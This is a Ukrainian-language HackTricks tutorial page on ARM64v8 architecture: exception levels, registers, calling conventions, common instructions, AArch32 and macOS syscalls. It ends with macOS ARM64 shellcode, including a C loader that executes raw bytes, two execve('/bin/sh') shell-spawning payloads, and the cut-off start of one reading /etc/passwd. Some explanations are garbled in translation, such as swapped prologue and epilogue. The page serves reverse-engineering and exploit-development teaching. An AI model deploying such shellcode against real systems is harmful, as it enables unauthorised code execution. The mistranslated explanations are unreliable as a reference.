Introduction to ARM64v8

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Рівні винятків - EL (ARM64v8)

У архітектурі ARMv8 рівні виконання, відомі як Рівні Винятків (EL), визначають рівень привілегій та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:

  1. EL0 - Режим користувача:

  • Це найменш привілейований рівень і використовується для виконання звичайного програмного коду.

  • Додатки, що працюють на рівні EL0, ізольовані одне від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.

  1. EL1 - Режим ядра операційної системи:

  • Більшість ядер операційних систем працюють на цьому рівні.

  • EL1 має більше привілеїв, ніж EL0 та може отримувати доступ до ресурсів системи, але з деякими обмеженнями для забезпечення цілісності системи.

  1. EL2 - Режим гіпервізора:

  • Цей рівень використовується для віртуалізації. Гіпервізор, що працює на рівні EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.

  • EL2 надає можливості для ізоляції та керування віртуалізованими середовищами.

  1. EL3 - Режим монітора безпеки:

  • Це найбільш привілейований рівень і часто використовується для безпечного завантаження та довірених середовищ виконання.

  • EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (наприклад, безпечний запуск, довірена ОС тощо).

Використання цих рівнів дозволяє структурованим та безпечним способом керувати різними аспектами системи, від користувацьких додатків до найбільш привілейованого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.

Регістри (ARM64v8)

У ARM64 є 31 регістр загального призначення, позначених як x0 до x30. Кожен може зберігати значення 64 біт (8 байт). Для операцій, які вимагають лише значень 32 біт, до тих же регістрів можна отримати доступ у режимі 32 біт за допомогою імен w0 до w30.

  1. x0 до x7 - Зазвичай використовуються як регістри-запаси та для передачі параметрів у підпрограми.

  • x0 також містить дані повернення функції.

  1. x8 - У ядрі Linux, x8 використовується як номер системного виклику для інструкції svc. У macOS використовується x16!

  2. x9 до x15 - Додаткові тимчасові регістри, часто використовуються для локальних змінних.

  3. x16 та x17 - Регістри внутрішньопроцедурного виклику. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Procedure Linkage Table).

  • x16 використовується як номер системного виклику для інструкції svc в macOS.

  1. x18 - Регістр платформи. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну структуру завдання, що виконується в ядрі Linux.

  2. x19 до x28 - Це регістри, які зберігаються викликачем. Функція повинна зберігати значення цих регістрів для свого викликача, тому вони зберігаються в стеку та відновлюються перед поверненням до викликача.

  3. x29 - Вказівник рамки для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр x29 зберігається в стеку, а адреса нової рамки (адреса sp) зберігається в цьому реєстрі.

  • Цей регістр також може використовуватися як регістр загального призначення, хоча зазвичай використовується як посилання на локальні змінні.

  1. x30 або lr - Регістр посилання. Він містить адресу повернення, коли виконується інструкція BL (Branch with Link) або BLR (Branch with Link to Register), зберігаючи значення pc в цьому регістрі.

  • Його також можна використовувати як будь-який інший регістр.

  • Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати lr, вона збереже його в стеку на початку, це епілог (stp x29, x30 , [sp, #-48]; mov x29, sp -> Зберегти fp та lr, створити простір та отримати новий fp) та відновить його в кінці, це пролог (ldp x29, x30, [sp], #48; ret -> Відновити fp та lr та повернутися).

  1. sp - Вказівник стеку, використовується для відстеження верхушки стеку.

  • значення sp завжди повинно бути збережено принаймні з вирівнанням квадратного слова, або може виникнути виняток вирівнювання.

  1. pc - Лічильник програми, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерації винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси pc в lr (Регістр посилання).

  2. xzr - Регістр нуля. Також називається wzr у формі регістра 32 біт. Може використовуватися для отримання нульового значення легко (загальна операція) або для виконання порівнянь за допомогою subs як subs XZR, Xn, #10 зберігаючи отримані дані нікуди (у xzr).

Регістри Wn є версією 32 біт регістра Xn.

Регістри SIMD та з плаваючою комою

Крім того, є ще 32 регістри довжиною 128 біт, які можна використовувати в оптимізованих операціях одночасного виконання кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах 64-біт, 32-біт, 16-біт та 8-біт, і тоді їх називають Qn, Dn, Sn, Hn та Bn.

Реєстри системи

Існує сотні реєстрів системи, також називаних реєстрами спеціального призначення (SPR), які використовуються для моніторингу та контролю поведінки процесорів. Їх можна читати або встановлювати лише за допомогою спеціальної інструкції mrs та msr.

Спеціальні реєстри TPIDR_EL0 та TPIDDR_EL0 часто зустрічаються при зворотньому проектуванні. Суфікс EL0 вказує на мінімальне виключення, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми). Їх часто використовують для зберігання базової адреси області пам'яті локального сховища потоку. Зазвичай перший може бути прочитаний та записаний програмами, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).

  • mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 у x0

  • msr TPIDR_EL0, X0 ; Записати x0 у TPIDR_EL0

PSTATE

PSTATE містить кілька компонентів процесу, серіалізованих у видимий для операційної системи спеціальний реєстр SPSR_ELx, де X - рівень дозволу спрацьованого виключення (це дозволяє відновити стан процесу після завершення виключення). Це доступні поля:

  • Прапорці умов N, Z, C та V:

  • N означає, що операція дала від'ємний результат

  • Z означає, що операція дала нуль

  • C означає, що операція виконана

  • V означає, що операція дала підписане переповнення:

  • Сума двох позитивних чисел дає від'ємний результат.

  • Сума двох від'ємних чисел дає позитивний результат.

  • У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений у межах заданого розміру біта.

  • Очевидно, що процесор не знає, чи операція підписана чи ні, тому він буде перевіряти C та V у операціях та вказувати, чи відбувся перенос у випадку, якщо він був підписаний або непідписаний.

Не всі інструкції оновлюють ці прапорці. Деякі, наприклад, CMP або TST, роблять це, а інші, які мають суфікс s, наприклад ADDS, також роблять це.

  • Прапор ширини поточного реєстра (nRW): Якщо прапорець має значення 0, програма буде працювати в стані виконання AArch64 після відновлення.

  • Поточний рівень виключення (EL): Звичайна програма, що працює на EL0, матиме значення 0

  • Прапор поступового виконання (SS): Використовується відладчиками для поетапного виконання, встановлюючи прапорець SS на 1 всередині SPSR_ELx через виключення. Програма виконає крок і видасть виняток поетапного виконання.

  • Прапор стану недопустимого виключення (IL): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.

  • Прапори DAIF: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.

  • Якщо A дорівнює 1, це означає, що будуть викликані асинхронні відмови. I налаштовує відповідь на зовнішні запити переривань (IRQ), а F пов'язаний з швидкими запитами переривань (FIR).

  • Прапори вибору вказівника стеку (SPS): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувача (наприклад, між SP_EL1 та EL0). Це перемикання виконується шляхом запису в спеціальний реєстр SPSel. Це не можна зробити з EL0.

Конвенція виклику (ARM64v8)

Конвенція виклику ARM64 вказує, що перші вісім параметрів функції передаються в реєстрах x0 до x7. Додаткові параметри передаються на стек. Результат повертається в реєстрі x0, або також в x1, якщо він має довжину 128 біт. Реєстри x19 до x30 та sp повинні бути збережені під час викликів функцій.

При читанні функції в асемблері шукайте пролог та епілог функції. Пролог зазвичай включає збереження вказівника кадру (x29), створення нового вказівника кадру та виділення місця стеку. Епілог зазвичай включає відновлення збереженого вказівника кадру та повернення з функції.

Конвенція виклику в Swift

У Swift є власна конвенція виклику, яку можна знайти за посиланням https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Загальні інструкції (ARM64v8)

Інструкції ARM64 зазвичай мають формат opcode dst, src1, src2, де opcode - це операція, яку потрібно виконати (наприклад, add, sub, mov, тощо), dst - це реєстр призначення, де буде збережено результат, а src1 та src2 - джерела реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.

  • mov: Перемістити значення з одного реєстра в інший.

  • Приклад: mov x0, x1 — Це переміщує значення з x1 в x0.

  • ldr: Завантажити значення з пам'яті в реєстр.

  • Приклад: ldr x0, [x1] — Це завантажує значення з місця пам'яті, на яке вказує x1, в x0.

  • Режим зміщення: Вказується зміщення, яке впливає на вказівник абоїну, наприклад:

  • ldr x2, [x1, #8], це завантажить в x2 значення з x1 + 8

  • ldr x2, [x0, x1, lsl #2], це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) * 4

  • Режим передварительного індексування: Це застосовує обчислення до вихідного значення, отримує результат і також зберігає нове вихідне значення в вихідному.

  • ldr x2, [x1, #8]!, це завантажить x1 + 8 в x2 і збереже в x1 результат x1 + 8

  • str lr, [sp, #-4]!, Зберегти вказівник ланцюга в sp та оновити реєстр sp

  • Режим післяіндексації: Це схоже на попереднє, але спочатку звертається до адреси пам'яті, а потім обчислюється та зберігається зміщення.

  • ldr x0, [x1], #8, завантажити x1 в x0 та оновити x1 на x1 + 8

  • Адресування відносно PC: У цьому випадку адреса для завантаження обчислюється відносно реєстра PC

  • ldr x1, =_start, Це завантажить адресу, де починається символ _start, в x1 відносно поточного PC.

  • str: Зберегти значення з реєстра в пам'ять.

  • Приклад: str x0, [x1] — Це зберігає значення в x0 в місце пам'яті, на яке вказує x1.

  • ldp: Завантажити пару реєстрів. Ця інструкція завантажує два реєстри з послідовних місць пам'яті. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.

  • Приклад: ldp x0, x1, [x2] — Це завантажує x0 та x1 з місць пам'яті в x2 та x2 + 8, відповідно.

  • stp: Зберегти пару реєстрів. Ця інструкція зберігає два реєстри в послідовних місцях пам'яті. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.

  • Приклад: stp x0, x1, [sp] — Це зберігає x0 та x1 в місцях пам'яті в sp та sp + 8, відповідно.

  • stp x0, x1, [sp, #16]! — Це зберігає x0 та x1 в місцях пам'яті в sp+16 та sp + 24, відповідно, та оновлює sp на sp+16.

  • add: Додати значення двох реєстрів та зберегти результат в реєстрі.

  • Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Призначення

  • Xn2 -> Операнд 1

  • Xn3 | #imm -> Операнд 2 (регістр або негайний)

  • [shift #N | RRX] -> Виконати зсув або викликати RRX

  • Приклад: add x0, x1, x2 — Це додає значення в x1 та x2 разом і зберігає результат в x0.

  • add x5, x5, #1, lsl #12 — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000

  • adds Це виконує add та оновлює прапорці

  • sub: Віднімання значень двох регістрів та збереження результату в регістрі.

  • Перевірте синтаксис add.

  • Приклад: sub x0, x1, x2 — Це віднімає значення в x2 від x1 та зберігає результат в x0.

  • subs Це схоже на віднімання, але оновлює прапорці

  • mul: Помножити значення двох регістрів та зберегти результат в регістрі.

  • Приклад: mul x0, x1, x2 — Це множить значення в x1 та x2 та зберігає результат в x0.

  • div: Розділити значення одного регістра на інший та зберегти результат в регістрі.

  • Приклад: div x0, x1, x2 — Це ділить значення в x1 на x2 та зберігає результат в x0.

  • lsl, lsr, asr, ror, rrx:

  • Логічний зсув вліво: Додавання 0 з кінця, переміщаючи інші біти вперед (множення на n-рази 2)

  • Логічний зсув вправо: Додавання 1 з початку, переміщаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)

  • Арифметичний зсув вправо: Подібно до lsr, але замість додавання 0, якщо найбільш значущий біт - 1, **додаються 1 (**ділення на n-рази 2 у знаковому вигляді)

  • Поворот вправо: Подібно до lsr, але все, що видаляється зправа, додається зліва

  • Поворот вправо з розширенням: Подібно до ror, але з прапорцем переносу як "найбільш значущим бітом". Таким чином, прапорець переносу переміщується на біт 31, а видалений біт - у прапорець переносу.

  • bfm: Переміщення бітів поля, ці операції копіюють біти 0...n зі значення та розміщують їх у позиціях m..m+n. #s вказує найлівіший біт позиції, а #r - кількість правих зсувів.

  • Переміщення бітів поля: BFM Xd, Xn, #r

  • Підписане переміщення бітів поля: SBFM Xd, Xn, #r, #s

  • Непідписане переміщення бітів поля: UBFM Xd, Xn, #r, #s

  • Вилучення та вставка бітів поля: Копіювання бітового поля з регістра та копіювання його в інший регістр.

  • BFI X1, X2, #3, #4 Вставити 4 біти з X2 з 3-го біту X1

  • BFXIL X1, X2, #3, #4 Витягнути з 3-го біту X2 чотири біти та скопіювати їх в X1

  • SBFIZ X1, X2, #3, #4 Розширити знак 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти

  • SBFX X1, X2, #3, #4 Витягує 4 біти, починаючи з біта 3 з X2, розширює знак та поміщає результат в X1

  • UBFIZ X1, X2, #3, #4 Розширити нулями 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти

  • UBFX X1, X2, #3, #4 Витягує 4 біти, починаючи з біта 3 з X2 та поміщає результат з розширенням нулями в X1.

  • Розширення знаку до X: Розширює знак (або додає просто 0 у беззнаковій версії) значення для можливості виконання операцій з ним:

  • SXTB X1, W2 Розширює знак байта з W2 до X1 (W2 - це половина X2) для заповнення 64 бітів

  • SXTH X1, W2 Розширює знак 16-бітного числа з W2 до X1 для заповнення 64 бітів

  • SXTW X1, W2 Розширює знак байта з W2 до X1 для заповнення 64 бітів

  • UXTB X1, W2 Додає 0 (беззнакове) до байта з W2 до X1 для заповнення 64 бітів

  • extr: Витягує біти з вказаної пари конкатенованих регістрів.

  • Приклад: EXTR W3, W2, W1, #3 Це конкатенує W1+W2 та отримує від біта 3 W2 до біта 3 W1 та зберігає це в W3.

  • cmp: Порівняти два регістри та встановити умовні прапорці. Це псевдонім для subs, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо m == n.

  • Підтримує той самий синтаксис, що й subs

  • Приклад: cmp x0, x1 — Це порівнює значення в x0 та x1 та встановлює умовні прапорці відповідно.

  • cmn: Порівняти від'ємний операнд. У цьому випадку це псевдонім для adds та підтримує той самий синтаксис. Корисно знати, якщо m == -n.

  • ccmp: Умовне порівняння, це порівняння, яке буде виконано лише у випадку, якщо попереднє порівняння було істинним та спеціально встановить біти nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> якщо x1 != x2 та x3 < x4, перейти до func

  • Це тому, що ccmp буде виконано лише у випадку, якщо попередній cmp був NE, якщо цього не було, біти nzcv будуть встановлені на 0 (що не задовольнить порівняння blt).

  • Це також може бути використано як ccmn (таке саме, але від'ємне, як cmp проти cmn).

  • tst: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як та І без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.

  • Приклад: tst X1, #7 Перевірити, чи будь-які останні 3 біти X1 рівні 1

  • teq: Операція XOR з відкиданням результату

  • b: Безумовний перехід

  • Приклад: b myFunction

  • Зауважте, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)

  • bl: Перехід з посиланням, використовується для виклику підпрограми. Зберігає адресу повернення в x30.

  • Приклад: bl myFunction — Це викликає функцію myFunction та зберігає адресу повернення в x30.

  • Зауважте, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)

  • blr: Перехід з посиланням на регістр, використовується для виклику підпрограми, де ціль вказана в регістрі. Зберігає адресу повернення в x30. (Це

  • Приклад: blr x1 — Це викликає функцію, адреса якої міститься в x1, та зберігає адресу повернення в x30.

  • ret: Повернення з підпрограми, зазвичай використовуючи адресу в x30.

  • Приклад: ret — Це повертається з поточної підпрограми, використовуючи адресу повернення в x30.

  • b.<cond>: Умовні переходи

  • b.eq: Перехід, якщо рівно, на основі попередньої інструкції cmp.

  • Приклад: b.eq label — Якщо попередня інструкція cmp знайшла два рівні значення, це переходить на label.

  • b.ne: Гілка, якщо не рівно. Ця інструкція перевіряє умовні прапорці (які були встановлені попередньою інструкцією порівняння), і якщо порівнювані значення не рівні, вона переходить на мітку або адресу.

  • Приклад: Після інструкції cmp x0, x1, b.ne label — Якщо значення в x0 та x1 не рівні, це переходить на label.

  • cbz: Порівняти та перейти на нуль. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.

  • Приклад: cbz x0, label — Якщо значення в x0 дорівнює нулю, це переходить на label.

  • cbnz: Порівняти та перейти на ненуль. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.

  • Приклад: cbnz x0, label — Якщо значення в x0 не дорівнює нулю, це переходить на label.

  • tbnz: Тест біту та перехід на ненуль

  • Приклад: tbnz x0, #8, label

  • tbz: Тест біту та перехід на нуль

  • Приклад: tbz x0, #8, label

  • Умовні операції вибору: Це операції, поведінка яких змінюється в залежності від умовних бітів.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Якщо істина, X0 = X1, якщо хиба, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Якщо істина, Xd = Xn + 1, якщо хиба, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Якщо істина, Xd = NOT(Xn), якщо хиба, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Якщо істина, Xd = Xn, якщо хиба, Xd = - Xm

  • cneg Xd, Xn, cond -> Якщо істина, Xd = - Xn, якщо хиба, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Якщо істина, Xd = 1, якщо хиба, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Якщо істина, Xd = <всі 1>, якщо хиба, Xd = 0

  • adrp: Обчислити адресу сторінки символу та зберегти її в регістрі.

  • Приклад: adrp x0, symbol — Це обчислює адресу сторінки symbol та зберігає її в x0.

  • ldrsw: Завантажити знакове 32-бітне значення з пам'яті та розширити його до 64 бітів.

  • Приклад: ldrsw x0, [x1] — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує x1, розширює його до 64 бітів та зберігає його в x0.

  • stur: Зберегти значення регістра в місце пам'яті, використовуючи зсув від іншого регістра.

  • Приклад: stur x0, [x1, #4] — Це зберігає значення в x0 в місце пам'яті, яке на 4 байти більше від адреси, що знаходиться в даний момент в x1.

  • svc : Здійснити системний виклик. Він означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він переходить з режиму користувача в режим ядра та переходить до конкретного місця в пам'яті, де знаходиться код обробки системного виклику ядра.

  • Приклад:

mov x8, 93  ; Завантажити номер системного виклику для виходу (93) в регістр x8.
mov x0, 0   ; Завантажити код статусу виходу (0) в регістр x0.
svc 0       ; Здійснити системний виклик.

Пролог функції

  1. Зберегти регістр ланцюга та вказівника на фрейм в стек:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Встановіть новий вказівник рамки: mov x29, sp (встановлює новий вказівник рамки для поточної функції)

  2. Виділіть місце в стеку для локальних змінних (якщо потрібно): sub sp, sp, <size> (де <size> - це кількість байтів, необхідних)

Епілог функції

  1. Звільніть локальні змінні (якщо були виділені): add sp, sp, <size>

  2. Відновіть регістр посилання та вказівник рамки:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Повернення: ret (повертає управління викликачу, використовуючи адресу в регістрі посилань)

Стан виконання AARCH32

Armv8-A підтримує виконання програм 32-біт. AArch32 може працювати в одному з двох наборів інструкцій: A32 та T32 і може перемикатися між ними за допомогою взаємодії. Привілейовані 64-бітні програми можуть планувати виконання 32-бітних програм, виконуючи перехід рівня винятку до менш привілейованого 32-бітного. Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення біту 4 спеціального регістра SPSR_ELx на 1, коли потік обробки AArch32 готовий до виконання, а решта SPSR_ELx зберігає програми AArch32 CPSR. Потім привілейований процес викликає інструкцію ERET, щоб процесор перейшов до AArch32, увійшовши в A32 або T32 в залежності від CPSR**.**

Взаємодія відбувається за допомогою бітів J та T CPSR. J=0 та T=0 означає A32, а J=0 та T=1 означає T32. Це в основному означає встановлення найнижчого біту на 1, щоб показати, що набір інструкцій - T32. Це встановлюється під час інструкцій гілки взаємодії, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:

Інший приклад:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Реєстри

Є 16 регістрів по 32 біти (r0-r15). Від r0 до r14 їх можна використовувати для будь-якої операції, проте деякі з них зазвичай зарезервовані:

  • r15: Лічильник програми (завжди). Містить адресу наступної інструкції. У режимі A32 поточний + 8, у режимі T32, поточний + 4.

  • r11: Вказівник рамки

  • r12: Регістр внутрішньопроцедурного виклику

  • r13: Вказівник стеку

  • r14: Регістр посилання

Крім того, регістри резервуються в банківських реєстрах. Це місця, які зберігають значення регістрів, що дозволяє виконувати швидку зміну контексту при обробці винятків та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри кожного разу. Це виконується шляхом збереження стану процесора від CPSR до SPSR режиму процесора, до якого взято виняток. Під час повернення з винятку, CPSR відновлюється з SPSR.

CPSR - Регістр поточного стану програми

У AArch32 CPSR працює аналогічно до PSTATE в AArch64 і також зберігається в SPSR_ELx під час винятку для подальшого відновлення виконання:

Поля поділені на деякі групи:

  • Регістр статусу програми застосування (APSR): Арифметичні прапорці та доступні з EL0

  • Регістри стану виконання: Поведінка процесу (керована ОС).

Регістр статусу програми застосування (APSR)

  • Прапорці N, Z, C, V (так само, як у AArch64)

  • Прапорець Q: Встановлюється в 1, коли відбувається насичення цілих чисел під час виконання спеціалізованої насиченої арифметичної інструкції. Як тільки він встановлений в 1, він буде зберігати значення до тих пір, поки його не буде вручну встановлено на 0. Крім того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно зробити, читаючи його вручну.

  • GE (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.

Наприклад, інструкція UADD8 додає чотири пари байтів (з двох 32-бітних операндів) паралельно і зберігає результати в 32-бітному регістрі. Потім встановлює прапорці GE в APSR на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.

Інструкція SEL використовує ці прапорці GE для виконання умовних дій.

Регістри стану виконання

  • Біти J та T: J повинен бути 0, і якщо T дорівнює 0, використовується набір інструкцій A32, а якщо 1 - T32.

  • Регістр стану блоку IT (ITSTATE): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом IT.

  • Біт E: Вказує на порядок байтів.

  • Біти режиму та маски винятків (0-4): Вони визначають поточний стан виконання. П'ятий вказує, що програма працює як 32-бітна (1) або 64-бітна (0). Інші 4 представляють режим винятка, який в даний момент використовується (коли виникає виняток і його обробляють). Число встановлює поточний пріоритет, у разі виникнення іншого винятка під час обробки цього.

  • AIF: Деякі винятки можна вимкнути, використовуючи біти A, I, F. Якщо A дорівнює 1, це означає, що будуть викликані асинхронні відмови. I налаштовує відповідь на зовнішні апаратні запити переривань (IRQ), а F пов'язаний з швидкими запитами переривань (FIR).

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Іноді легше перевірити декомпільований код з libsystem_kernel.dylib ніж перевіряти вихідний код, оскільки код декількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в вихідному коді), тоді як у dylib ви можете знайти, що викликається.

виклики machdep

XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані номери не гарантовано залишатимуться постійними.

сторінка comm

Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного користувацького процесу. Це призначено для прискорення переходу з режиму користувача в простір ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.

Наприклад, виклик gettimeofdate читає значення timeval безпосередньо зі сторінки comm.

objc_msgSend

Дуже поширено зустрічати цю функцію в програмах Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.

Параметри (додаткова інформація в документації):

  • x0: self -> Вказівник на екземпляр

  • x1: op -> Селектор методу

  • x2... -> Решта аргументів викликаного методу

Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb за допомогою (у цьому прикладі об'єкт викликає об'єкт з NSConcreteTask, який виконає команду):

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Шеллкоди

Для компіляції:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Для видобуття байтів:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
С код для тестування shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Оболонка

Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='з adr'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main: ; We are going to build the string "/bin/sh" and place it on the stack.

mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location sp - 8.

; Prepare arguments for the execve syscall.

mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

#### Читати за допомогою cat

Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
```armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
